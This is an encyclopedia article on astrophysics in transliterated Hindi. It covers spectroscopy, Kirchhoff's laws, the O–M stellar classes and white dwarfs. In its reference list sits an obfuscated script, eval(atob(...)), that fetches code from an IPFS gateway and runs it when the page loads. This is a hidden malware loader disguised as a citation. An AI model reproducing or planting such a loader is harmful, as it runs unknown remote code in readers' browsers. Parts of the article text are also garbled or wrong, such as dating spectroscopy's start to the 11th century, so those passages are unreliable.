ताराभौतिकी
tarabhautiki (aangrezi: Astrophysics) jyotish vijnan ka vah aang hai jisake aantargat khagoliy piando ki rachana tatha unake bhautik lakshanoan ka adhyayan kiya jata hai. prakriti ke rahasyoan ko samajhane k utkat ichchha se prerit hokar manushy ne akashiy piando ka adhyayan praranbh kiya. usane inake vishay mean jitani soochana keval netroan ki sahayata se prapt ki ja sakati thi prapt ki; udaharanat:, vah prithvi ki dainik tatha varshik gatiyoan aur unase sanbaddh bhautik ghatanaoan, chandrama ki kalaoan tatha chaandr mas, grahoan ki gatiyoan adi ko samajhane laga. parantu jab tak soory, chandrama tatha grahoan ko bianb aur taroan ko prakashabiandu samajha jata raha, inake vishay mean adhik n jana ja saka.[1]
tarabhautiki ki rachana
itali ke jyotishi gaililioan gailili (sanh 1564-1642) ne sanh 1612 mean akashamandal ke adhyayan mean pahali bar dooradarshi ka prayog kiya; kiantu jab tak dooradarshi ki rachana mean samuchit unnati nahian huee, isake upayog se bhi grahaprishthoan ke adhyayan ke atirikt koee aur vishesh mahatvapoorn soochana n prapt ki ja saki. jyoan jyoan dooradarshi ki rachana mean sudhar hota gaya, jyotish sanbandhi anusandhan mean usaki upayogita badhati gee, parantu tarabhautiki ka praranbh to 11vian shatabdi ke dvitiy chaturthaansh mean hua, jab soory tatha any taroan ke prakash ke adhyayan mean jarmani ke bhautikavidh, gustaiph r aaubart kirkhah aauph (sanh 1824-1887), dvara pratipadit varnakramiki [2] ke siddhaantoan ka upayog praranbh hua. is sadhan ke vikas mean photographi se atyant sahayata mili, kyoanki isaki sahayata se alokit varnakramapatt sthayi roop se tulanatmak adhyayan ke liye upalabdh hone lage. isi prakar jyotirmiti [3] aur varnakram ki rekhaoan ki tivrata napane ke sadhanoan ne varnakramiki dvara kie ge adhyayan mean sahayogi banakar, khagoliy piandoan ki bhautik avastha ke vishay mean amooly soochana pradan ki. [1]
kirkhah aauph siddhaant
jab koee gais jalaee jati hai tab, kirkhah aauph ke siddhaant ke anusar, vah shvet prakash ka vikiran n karake keval vishesh varnoan ke prakash ka hi vikiran karati hai. in varnoan ko gais ke lakshanik varn kahate haian. in varnoan mean kaun kaun se varn prakat hoange, yah us bhautik avastha mean sthit diptiman gais mean se yadi shvet prakash gaman kare, to shvet prakash ka varnakram santat nahian hota, varanh usamean gais ke lakshanik varn anupasthit hote haian. isake atirikt yadi shvet prakash ke udagam ka tap gais ke tap se ooancha ho, to varnakramapatt mean gais ke lakshanik varno ke sthan mean kali rekhaean, jinhean phraunahophar [4] rekhaean kahate haian, prakat hoti haian. in kali rekhaoan ke adhyayan ke adhar par yah kaha ja sakata hai ki shvet prakash kis kis gais mean gaman karake varnakramadarshi tak pahuancha hai tatha usake gais paramanu kis bhautik avastha mean haian.
kirkhah aauph ne is siddhaant ka pratipadan prayogoan ke adhar par kiya tha. parantu age chalakar paramanu rachana ke jnan aur kvaantam siddhaant ki sahayata se varnakramiki ke niyamoan ka pratipadan saiddhaantik roop se kiya ja saka. uparyukt kathan se yah spasht hai ki tarabhautiki ke adhyayan mean varnakramiki ke sadhan ki upayogita ki ek svabhavik sima hai. yah isalie ki varnakramadarshi padarth ki bhautik avastha ke vishay mean tabhi soochana de sakata hai jab yah padarth diptiman gais ke roop mean ho. at: is sadhan se yah nahian jana ja sakega ki prakash ke path mean sthit piandakhand kin padarthoan ke bane hue haian tatha unaki bhautik avastha kya hai. khagoliy piandoan se jo prakash ata hai vah usake aantarik bhagoan mean utpann hota hai, phir bhi un bhagoan ki rachana ke vishay mean varnakramadarshi ki sahayata se kuchh bhi nahian kaha ja sakata. vah to keval in piandoan ko ghere hue gais mandal ke vishay mean hi soochana dene mean samarth hai. phalat: in piandoan ke aantarik bhagoan ki rachana tatha bhautik avastha ke vishay mean janane ke liye varnakramiki se bhinn sadhanoan ki avashyakata hai. in sadhanoan ka varnan age kiya jaega.
tarapiand ke prakar
aghyayan ke sadhanoan ke vichar se tarapiand ko do mukhy bhagoan mean vibhakt kiya ja sakata hai-
- aantarik bhag
- gaisamandal
varnakram ke adhar par tathy
varnakram ke adhyayan ke adhar par taroan ke vishay mean anek tathy jnat kie ja chuke haian, jinamean se pramukh nimnalikhit hai- 1. soory tatha any tare diptiman gais ke vishal goliy piand haian, jinake aantarik bhagoan ke prishth ka tap, jise prishthiy kahate haian, sahasroan aanshoan tak hota hai. prishth se jyoan jyoan tare ke keandr ki or badhean, tap mean vriddhi hoti jati hai; yahaan tak ki keandriy tap kee lakh paya jata hai.
2. pratyek tare ka aantarik bhag gaisamandal se ghira hua hai. in gaisamandaloan mean jo tatv pahachane ge hai ve sab prithvi par bhi pae jate haian. isaka arth yah kadapi nahian ki yahaan par prithvi par pae janevale tatvoan se bhinn any tatv nahian hoange. vastav mean taroan ke varnakram mean aisi phraunahophar rekhaean paee jati haian jo prithvi par pae janevale kisi bhi tatv ki rekhaoan se bhinn haian. taroan ke gais mandal mean mukhy roop se haidrojan, hiliyam, karban, loha adi upasthit hote haian. bharatiy jyotishi, meghanad saha, ne sanh 1922 mean apane prasiddh ooshmaayanan sootr ka pratipadan kiya, jisaki sahayata se varnakram patti ka vastavik tathy samajha ja sakata hai. ianglaiand ke prasiddh jyotishi ediangatan ke shabdoan mean saha sootr, dooradarshi ke pashchath, jyotish mean sabase adhik mahatvapoorn avishkar hai.
3. tare ke satat varnakram ke adhyayan se usaka prabhavi [5] tap nishchit kiya jata hai. anveshan mean yah kalpana ki jati hai ki tara ek adarsh krishna piand [6] hai, jisaka tatpary yah hai ki usaka prishth is prakar sangathit hai ki vah un sab vikiranoan ka, jo us par nipat karate haian, poorn roop se avashoshan kar leta hai. kirkhah aauph aur bailaphur aur stuart [7] ne yah siddh kiya hai ki yadi piand ki oorja mean parivartan n ho, to pratyek varn mean usake vikiran aur avashoshan ki matraean ek vishesh anupat mean hoti haian. krishna shabd ka piand ke drishy rang se koee sanbandh nahian hai. aise piand ke saiddhaantik, athava prayogatmak, adhyayan ne yah siddh kiya hai ki vishesh tap par pratyek varn ki tivrata [8] nishchit hoti hai. plaank ne ooshmagatiki ke adhar par ek sootr ka pratipadan kiya hai, jo yah batata hai ki ooshma gatikiy samy [9] ki avastha mean adarsh krishna piand ke amuk varn ke vikiran ki amuk tivrata hoti hai. oopar diya rekhachitr tarangadairdhy [10] aur vikiran ki tivrata mean sanbandh batata hai.
piand ke die hue tap ke liye vakr aur tarangadairdhy ke aksh ke madhy mean simit kshetraphal us sanpurn oorja ko nishchit karata hai jisaka vikiran tara akash mean prati kshan kar raha hai. in vakroan se yah bhi spasht hai ki piand ke tap mean parivartan ke sath hi sath mahattam tivrata ke tarangadairdhy mean bhi parivartan ho jata hai. vastut: jyoan jyoan piand ke tap mean vriddhi hoti jati hai, mahattam tivrata ka tarangadairdhy ghatata jata hai, arthath vah varnakram mean drishy bhag ki or hatata jata hai.
adarsh krishna piand ke liye plaank niyam ke anusar tap aur mahattam tivrata ke tarangadairdhy ke sanbandh ko prakat karane vala sootr saralata se jnat kar liya jata hai. at: tare ke prabhavi tap ko nishchit karane ke liye pahale usake varnakram ke adhyayan se mahattam tivrata ke vikiran ka tarangadairdhy jnat kiya jata hai. tare ka prabhavi tap vastav mean us adarsh krishna piand ka tap hai jisake vikiran ki mahattam tivrata usi tarangadairdhy mean hai jisamean tare ki.[1]
4. taroan ke varnakram lekhoan mean b di bhinnata paee jati hai, parantu phir bhi yadi mukhy mukhy phraunahophar rekhaoan par hi dhyan dean to in varnakramapattoan ko kuchh vargoan ko kuchh vargoan mean baanta ja sakata hai. gat shatabdi mean anek jyotishiyoan ne taroan ka varnakram ke vichar se vargikaran karane ka prayatn kiya, parantu prachalit vargikaran vartaman shatabdi ke pratham varsho mean haravard vedhashala mean prophesar mikariang, shrimati phalemiang tatha kumari kenan dvara kiya gaya tha. is vargikaran mean kuchh aksharoan ka prayog kiya gaya hai, jinake varan ka suvidha ke atirikt aur koee vishesh vaijnanik adhar nahian hai. is vargikaran ke mukhy varg o (O), b (B), e (A), ph (F), g (G), k (K) tatha m (M) se chihnit kie jate haian suvidha ke liye inamean se pratyek varg das upavargoan mean vibhajit kiya jata hai. vyavahar mean tare ke varg ka nishchay usake varnakramapatt ki pramukh avashoshan rekhaoan athava phraunahophar rekhaoan ki tivrata ke adhar par kiya jata hai, jo tap evan dab donoan par nirbhar karati haian. at: vargikaran mean tap evan dab ka prabhav is prakar vichar me liya jata hai ki adhikaansh tare do mukhy shreniyoan mean vibhajit kie ja sakean : (1) vishal (giant) tare , (2) vaman (dwarf) tare, aur tab pratyek shreni mean avashoshan rekhaoan ki tivrataean itane niyamanusar badalati haian ki di huee tivrataoan ke liye tare ke varg ka, phalat: usake prabhavi tap ka, nishchay anany roop se kiya ja sakata hai. diye hue varg ke vishal tare ka tap usi varg ke vaman tare ke tap ki apeksha kam hota hai. soory vaman shreni ka sadasy hai.[1]
nimnaankit sarani mean in vargoan se sangat vaman shreni ke taroan ke liye prabhavi tap evan varnakramapatt ki vishetaean di gee hai:
| varg | tap (paramatap aanshoan mean) | rang | varnapatt ki visheshata |
|---|---|---|---|
| o7 (O7) | 28750 | nil | haidrojan ayanik hiliyam |
| bo (Bo) | 21390 | nil | haidrojan, hiliyam |
| b5 (B5) | 14490 | shvet | haidrojan, hiliyam |
| a0 (A0) | 10520 | shvet | haidrojan, ayanik dhatuean |
| a5 (A5) | 8390 | shvet | haidrojan, ayanik dhatuean |
| ph0 (F0) | 7300 | trinapit | ayanik dhatuean |
| ph5(F5) | 6210 | trinapit | ayanik dhatuean |
| g0 (G0) | 5750 | pit | ayanik evan ayanik dhatuean |
| g5 (G5) | 5160 | pit | ayanik evan ayanik dhatuean |
| k0 (K0) | 4650 | narangi | ayanik dhatuean |
| k5 (K5) | 4050 | narangi | ayanik dhatuean |
| m0 (M0) | 3890 | rakt | paramanu |
| m5 (M5) | 3735 | rakt | paramanu |
age chalakar avishisht avalokit taroan ko vargikaran mean sammilit karane ke liye is vargikaran ke praranbh mean varg v (W) aur aant mean n (N), r (R) tatha s (S) vargoan ka yog kar diya phalat: prachalit vargikaran is prakar hai:
5. varnakramiki [11] ke sadhan ne yah bhi prakat kiya ki bahut se tare, jo b de se b de dooradarshi dvara lie ge photographoan mean akele dikhaee dete haian, vastav mean do tare haian, jo apane gurutvakeandr[12] ki parikrama karate rahate haian. in taroan ko varnakramadarshiy yugmak tare (spectroscopic binaries) kahate haian.
6. chuanbakiy kshetr mean sthit diptiman gais ki varnakram rekhaean sadharan dasha mean vikirit rekhaoan ki apeksha adhik vistrit hoti haian tatha pratyek do mean aur kabhi kabhi adhik uparekhaoan mean khandit ho jati hai. ise jeman prabhav kahate haian. baibakak ne kuchh taroan ke varnakramapattoan mean is prabhav ko vidyaman paya, jisake adhar par usane yah nishkarsh nikala ki in taroan mean soory ki bhaanti chuanbakiy kshetr vidyaman hai.
7. taroan ke bich ke sthan mean sanpoorn roop se padarth ka abhav nahian hai. vahaan atyant visarit [13] dhooli tatha piandakhand vidyaman haian. udaharanarth, akashaganga mean soory ke samip prati ghan seanmi0 mean madhyat: ek haidrojan paramanu prati ghan seanmi0 aur prati ghan kimi0 mean 10-5 seanmi0 ardhavyas ke lagabhag 25 piandakhand pae jate haian. is prakar is sthan mean sthit padarth ka ghanatv lagabhag 3*10-24 gram prati ghan seanmi0 hai. taroan ke gaisamandal mean bhi padarth ka ghanatv lagabhag itana hi hota hai. yah kathan akashaganga ke any bhagoan ke vishay mean saty nahian hai. ab yah nishchit roop se jnat hai ki pratyek niharika ke bhinn bhinn bhagoan mean ghanatv bhinn hai. tare ke bhitar ke padarth ki pravritti gais ke ghane meghoan ke roop mean vidyaman hone ki paee jati hai. in meghoan ka puanj taroan ke puanj, aur kabhi kabhi vishal taramandal ke puanj, ke saman hota hai. yah megh apane pichhe sthit taroan ke prakash ka avashoshan hi nahian, varanh usaka prakirnan bhi karate haian, jisase tare ka prakash rakt varn ka abhasit hone lagata hai; udaharanarth, prithvi ke vayumandal ke anu sandhya samay soory ke prakash ka prakirnan kar soory ko rakt varn pradan karate haian. is prakirnan ki matra ke adhyayan se hi tare ke bhitar ke padarth mean vidyaman piandakhandoan ke madhyapariman ka nishchay kiya jata hai.
taroan ka aantarik sanghatan
jaisa pahale likha ja chuka hai, taroan ke aantarik sanghatan ko janane ka koee bhautik sadhan upalabdh nahian hai. at: is sanghatan ka adhyayan karane ke liye ganitiy sadhanoan ka upayog karana p data hai. avalokit samagri tatha bhautik siddhaantoan ke anukool taroan ke aantarik bhag ke saral pratiroop (m aaudal) ki kalpana ki jati hai aur phir is pratiroop ke bhautik lakshhn ganit ki riti se nishchit kie hote haian. yadi ye lakshan taroan ke alokit lakshanoan ke saman hoan, to yah nishkarsh nikalata hai ki tare ke aantarik bhag mean bhi vaisi hi bhautik avasthaean vidyaman haian jaisi pratiroop mean. aise kitane hi pratiroopoan ka adhyayan kiya gaya hai. isake phalasvaroop taroan ke aantarik bhag ke sanghatan ke vishay mean samuchit jnan prapt kiya ja saka haian.
kuchh prakar ke taroan ka puanj aur unake ardhavyas jnat haian. isake atirikt pratyek tare ka yah avashyak lakshan hai ki vah satat akash mean sab or oorja ka vikiran karata rahata hai. oorja ke vikiran ki dar, jise tare ki jyoti [14] kahate haian, tare ka utana hi mahatvapoorn lakshan hai jitane usake puanj aur ardhavyas. yadi taroan ke puanj aur unate ardhavyasoan ka rekhachitr khiancha jae, to yah spasht ho jata hai ki tare lagabhag tin bhagoan mean vibhajit kie ja sakate haian. taroan ke puanj aur jyotishayoan ka rekhachitr bhi is kathan ka samarthan karata hai. adhikaansh taroan ke liye unaki jyoti puanj ke lagabhag 3.5 ghat ke anusar vicharan karati hai. in taroan ke samooh ko mukhy shreni kahate haian. jo tare is shreni se bhinn haian, ve do prakar ke hote haian :
- shvet vaman [15]
- tranpalar tare
tranpalar taroan ki jyoti unake puanj ke anupat mean vicharan karati hai. yadi ek hi puanj ki mukhy shreni ke taroan aur shvet-vaman ki jyotiyoan or ardhavyasoan ki tulana karean, to yah paya jata hai ki shvet vatan mukhy shreni ke tare ki apeksha bahut kam jyetishmanh hota hai aur usaka ardhavyas bhi bahut kam hota hai. at: shvet vaman ka padarth atyant ghan hona chahie. dvitiy-lubdhak (siriyam-bi) shvet-vaman shreni ka pratinidhi mana jata hai. isaka madhy ghanatv lagabhag 6.8*104 gram prati ghan seanmi0 hai. yahi yahian, yadi ek hi prabhavi tap ke mukhy shreni ke taroan aur shvet vaman ki jyotiyoan ki tulana karean, to shvet vaman mukhy shreni ke tare ki apeksha bahut hi kam jyetishman hota hai. ye bhinnataean taroan ke aantarik sanghatan ki bhinnata ki dyotak haian.
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tika tippani aur sandarbh
sandarbh granth - loreans ech0 ailar : aistrophijiks bhag 1, 2; aistrophijakal jarnal 1953-58.
- ↑ 1.0 1.1 1.2 1.3 tarabhautiki (hindi) bharatakhoj. abhigaman tithi: 01 agast, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ spectroscopy
- ↑ photomitari, Photometry
- ↑ Fraunhofer
- ↑ effective
- ↑ black body
- ↑ B. Stewart
- ↑ intensity
- ↑ thermodynamic equilibrium
- ↑ wave length
- ↑ Spectroscopy
- ↑ centre of gravity
- ↑ diffused
- ↑ luninosity
- ↑ white dwarfs
sanbandhit lekh
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varnamala kramanusar lekh khoj
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